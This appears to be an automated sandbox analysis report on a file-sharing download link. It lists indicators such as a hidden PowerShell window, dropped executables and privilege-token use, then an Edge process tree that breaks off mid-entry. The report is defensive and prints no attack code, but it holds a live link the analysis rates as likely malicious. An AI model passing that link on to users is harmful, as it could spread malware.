hxxps://gofile[.]io/d/bjdj9R

Resubmissions

19/07/2024, 22:00

240719-1wr1bssarq 7

19/07/2024, 21:56

240719-1te8ra1hqm 8

Analysis

max time kernel
204s
max time network
208s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 21:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://gofile.io/d/bjdj9R

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4876	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5756	vshost.exe
5800	winst.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\SniffedFolderType = "Pictures"	nssdbm3.cfg
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\MRUListEx = ffffffff	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell	nssdbm3.cfg
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5FA96407-7E77-483C-AC93-691D05850DE8}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5FA96407-7E77-483C-AC93-691D05850DE8}\FFlags = "1"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	nssdbm3.cfg
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	nssdbm3.cfg
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 050000000000000004000000010000000300000002000000ffffffff	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{94D6DDCC-4A68-4175-A374-BD584A510B78}\Mode = "4"	nssdbm3.cfg
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\SniffedFolderType = "Generic"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2	nssdbm3.cfg
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202	nssdbm3.cfg
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\5\NodeSlot = "11"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\IconSize = "96"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000050000001800000030f125b7ef471a10a5f102608c9eebac0a000000a0000000b474dbf787420341afbaf1b13dcd75cf64000000a000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000e0859ff2f94f6810ab9108002b27b3d90500000058000000	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\FFlags = "1"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\LogicalViewMode = "3"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5FA96407-7E77-483C-AC93-691D05850DE8}\GroupView = "0"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\3	nssdbm3.cfg
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202020202	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "5"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5FA96407-7E77-483C-AC93-691D05850DE8}\FFlags = "1092616257"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	nssdbm3.cfg
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\3 = 3a002e80aba36ff8d270c74f9c99fcbf05467f3a260001002600efbe110000001a5199bc08d2da01225a3cbe08d2da01ec31350209d2da0114000000	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{94D6DDCC-4A68-4175-A374-BD584A510B78}	nssdbm3.cfg
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\Shell	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\FFlags = "1092616257"	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg	nssdbm3.cfg
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\IconSize = "96"	nssdbm3.cfg
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{94D6DDCC-4A68-4175-A374-BD584A510B78}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000050000001800000030f125b7ef471a10a5f102608c9eebac0a000000a00000002e37a3569cced2119f0e006097c686f60700000028000000e0859ff2f94f6810ab9108002b27b3d902000000a00000002e37a3569cced2119f0e006097c686f602000000780000002e37a3569cced2119f0e006097c686f60400000088000000	nssdbm3.cfg
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5FA96407-7E77-483C-AC93-691D05850DE8}\Mode = "1"	nssdbm3.cfg

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
392	msedge.exe
392	msedge.exe
3620	msedge.exe
3620	msedge.exe
3800	identity_helper.exe
3800	identity_helper.exe
492	msedge.exe
492	msedge.exe
5464	msedge.exe
5464	msedge.exe
5464	msedge.exe
5464	msedge.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
5772	nssdbm3.cfg
3128	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5772	nssdbm3.cfg
Token: SeDebugPrivilege	2576	nssdbm3.cfg
Token: SeDebugPrivilege	4876	powershell.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
2576	nssdbm3.cfg

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe

Suspicious use of SetWindowsHookEx 23 IoCs

pid	Process
5772	nssdbm3.cfg
5772	nssdbm3.cfg
5772	nssdbm3.cfg
5772	nssdbm3.cfg
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe
3128	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3620 wrote to memory of 4580	3620	msedge.exe	84
PID 3620 wrote to memory of 4580	3620	msedge.exe	84
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 4772	3620	msedge.exe	85
PID 3620 wrote to memory of 392	3620	msedge.exe	86
PID 3620 wrote to memory of 392	3620	msedge.exe	86
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87
PID 3620 wrote to memory of 4572	3620	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://gofile.io/d/bjdj9R
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xdc,0xe0,0xe4,0xd8,0x108,0x7ffc3e6046f8,0x7ffc3e604708,0x7ffc3e604718
  2⤵
  PID:4580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2084 /prefetch:2
  2⤵
  PID:4772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2884 /prefetch:8
  2⤵
  PID:4572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
  2⤵
  PID:1656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
  2⤵
  PID:32
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4640 /prefetch:1
  2⤵
  PID:3980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4160 /prefetch:1
  2⤵
  PID:1540
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5504 /prefetch:8
  2⤵
  PID:3084
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5504 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3536 /prefetch:1
  2⤵
  PID:4564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
